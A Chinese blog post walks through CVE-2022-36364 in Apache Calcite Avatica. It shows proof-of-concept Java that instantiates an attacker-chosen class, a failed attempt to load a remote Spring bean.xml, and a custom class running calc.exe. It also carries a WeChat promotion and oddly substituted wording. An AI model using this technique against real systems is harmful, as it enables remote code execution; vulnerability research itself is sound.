前段时间看到Apache Calcite Avatica远程代码实行漏洞 CVE-2022-36364 在网上搜索也没有找到相干的分析和复现文章,于是想着本身研究一下,看能不能发现可以使用的方法。
首先使用一下近来比力热门的 Deepseek ,扣问他是否清楚漏洞相干的信息。
[img=720,643.0188679245283]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202502081558342.png[/img]
[img=720,616.0893854748604]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202502081558343.png[/img]
通过回答我们可以了解到这个漏洞的概况,具体漏洞的版本,以及漏洞产生的缘故原由。
漏洞简介
Apache Calcite Avatica JDBC 驱动程序根据通过 httpclient_impl 连接属性提供的类名来创建 HTTP 客户端实例;但是在驱动程序实例化之前不会验证该类是否实现了预期的接口,这样一来就会导致可以通过调用恣意类来实行代码。
实行这个漏洞并造成一定的危害性,还必要两个先决条件:
- 必须拥有控制 JDBC 连接参数的权限
- 类路径中有一个具有 URL 参数和实行代码能力的函数(目前必要本身构造)
漏洞复现&分析
简单点,通过 maven 来创建漏洞情况-
- <dependency>
- <groupId>org.apache.calcite.avatica</groupId>
- <artifactId>avatica</artifactId>
- <version>1.21.0</version>
- </dependency>
复制代码 创建完成漏洞情况后,我们就必要来编写一段代码想办法触发这个漏洞,我个人的建议是通过对比代码补丁,一般来说修复完成代码后,总会写一个测试类来进行测试
[img=720,343.27272727272725]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202502081558345.png[/img] - import org.apache.calcite.avatica.BuiltInConnectionProperty;
- import org.apache.calcite.avatica.ConnectionConfig;
- import org.apache.calcite.avatica.ConnectionConfigImpl;
- import org.apache.calcite.avatica.remote.AvaticaHttpClient;
- import org.apache.calcite.avatica.remote.AvaticaHttpClientFactory;
- import org.apache.calcite.avatica.remote.AvaticaHttpClientFactoryImpl;
- import java.net.URL;
- import java.util.Properties;
-
- public class test {
- public static void main(String[] args) throws Exception {
- Properties props = new Properties();
- props.setProperty(BuiltInConnectionProperty.HTTP_CLIENT_IMPL.name(),"className");
- URL url = new URL("url");
- ConnectionConfig config = new ConnectionConfigImpl(props);
- AvaticaHttpClientFactory httpClientFactory = new AvaticaHttpClientFactoryImpl();
- AvaticaHttpClient client = httpClientFactory.getClient(url, config, null);
- }
- }
复制代码 这样一来我们就编写了一个漏洞 Demo calssName 和 url 的值是我们可以操作控制的,我们进行调试分析一下
[img=720,272.4403075677863]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202502081558346.png[/img]
org.apache.calcite.avatica.remote.AvaticaHttpClientFactoryImpl#getClient
[img=720,244.7766043866775]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202502081558347.png[/img]
这个地方我们就留意到了最后调用 instantiateClient 来处理的两个参数 className 和 url 一个来自于直接传参,另一个来自于 config.httpClientClass() 会从 config 对象中获取 HTTP 客户端的实现类名称,并将其作为一个 String 返回
[img=720,48.33512352309345]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202502081558349.png[/img]
所以当参数传入到 org.apache.calcite.avatica.remote.AvaticaHttpClientFactoryImpl#instantiateClient 此中的两个参数 className 和 url 都是我们可以控制的
[img=720,118.26086956521739]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202502081558350.png[/img]
不必要向下继续调试,我们就看到了关键代码 constructor.newInstance(Objects.requireNonNull(url));
这样一来我们就可以通过控制 className 和 url 来实现调用恣意类,但是这个类的必须有 URL 参数的处理
刚开始想到的方法是
使用 spring 中的类构造函数加载远程配置实现 RCE
- org.springframework.context.support.ClassPathXmlApplicationContext
- import org.springframework.context.support.ClassPathXmlApplicationContext;
- public class JXpathDemo {
- public static void main(String[] args) {
-
- String s = "http://127.0.0.1:8080/bean.xml";
- ClassPathXmlApplicationContext context = new ClassPathXmlApplicationContext(s);
- }
- }
复制代码 似乎如此一来就满足了条件,我们先试试
[img=720,266.69891172914146]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202502081558352.png[/img]
爆出了一个错误,我们留意到 lassPathXmlApplicationContext 类没有吸收 java.net.URL 参数的构造方法。ClassPathXmlApplicationContext 类的构造方法吸收的是 String 范例的路径,通常是用于加载 Spring 配置文件的路径。
[img=720,97.29729729729729]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202502081558353.png[/img]
所以这种使用方式适用于很多种情况 Apache Commons JXPath 远程代码实行、PostgresQL JDBC Driver 恣意代码实行 等,但是并不适配当前的情况。(目前还没有找到合适的类来触发使用这种漏洞)
【----帮助网安学习,以下全部学习资料免费领!加vx:dctintin,备注 “博客园” 获取!】
① 网安学习发展路径思维导图
② 60+网安经典常用工具包
③ 100+SRC漏洞分析报告
④ 150+网安攻防实战技能电子书
⑤ 最权威CISSP 认证测验指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)
为了进一步体现危害性,我本身创建一个类来体现- import java.net.URL;
-
- public class CustomHttpClient {
- private URL url;
-
- // 构造函数,接受一个 URL 类型的参数
- public CustomHttpClient(URL url) throws Exception {
- Runtime.getRuntime().exec("calc.exe");
- }
- }
-
-
复制代码[img=720,391.1943793911007]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202502081558354.gif[/img]
漏洞修复
通过对比我们发现对传入的类进行了控制,限定必须属于AvaticaHttpClient 的子类
https://github.com/apache/calcite-avatica/commit/0c097b6a685fc1f97f151505a219976f15ed0c4c?diff=split&w=0
[img=720,349.65600971266696]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202502081558355.png[/img]
更多网安技能的在线实操练习,请点击这里>>
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。 |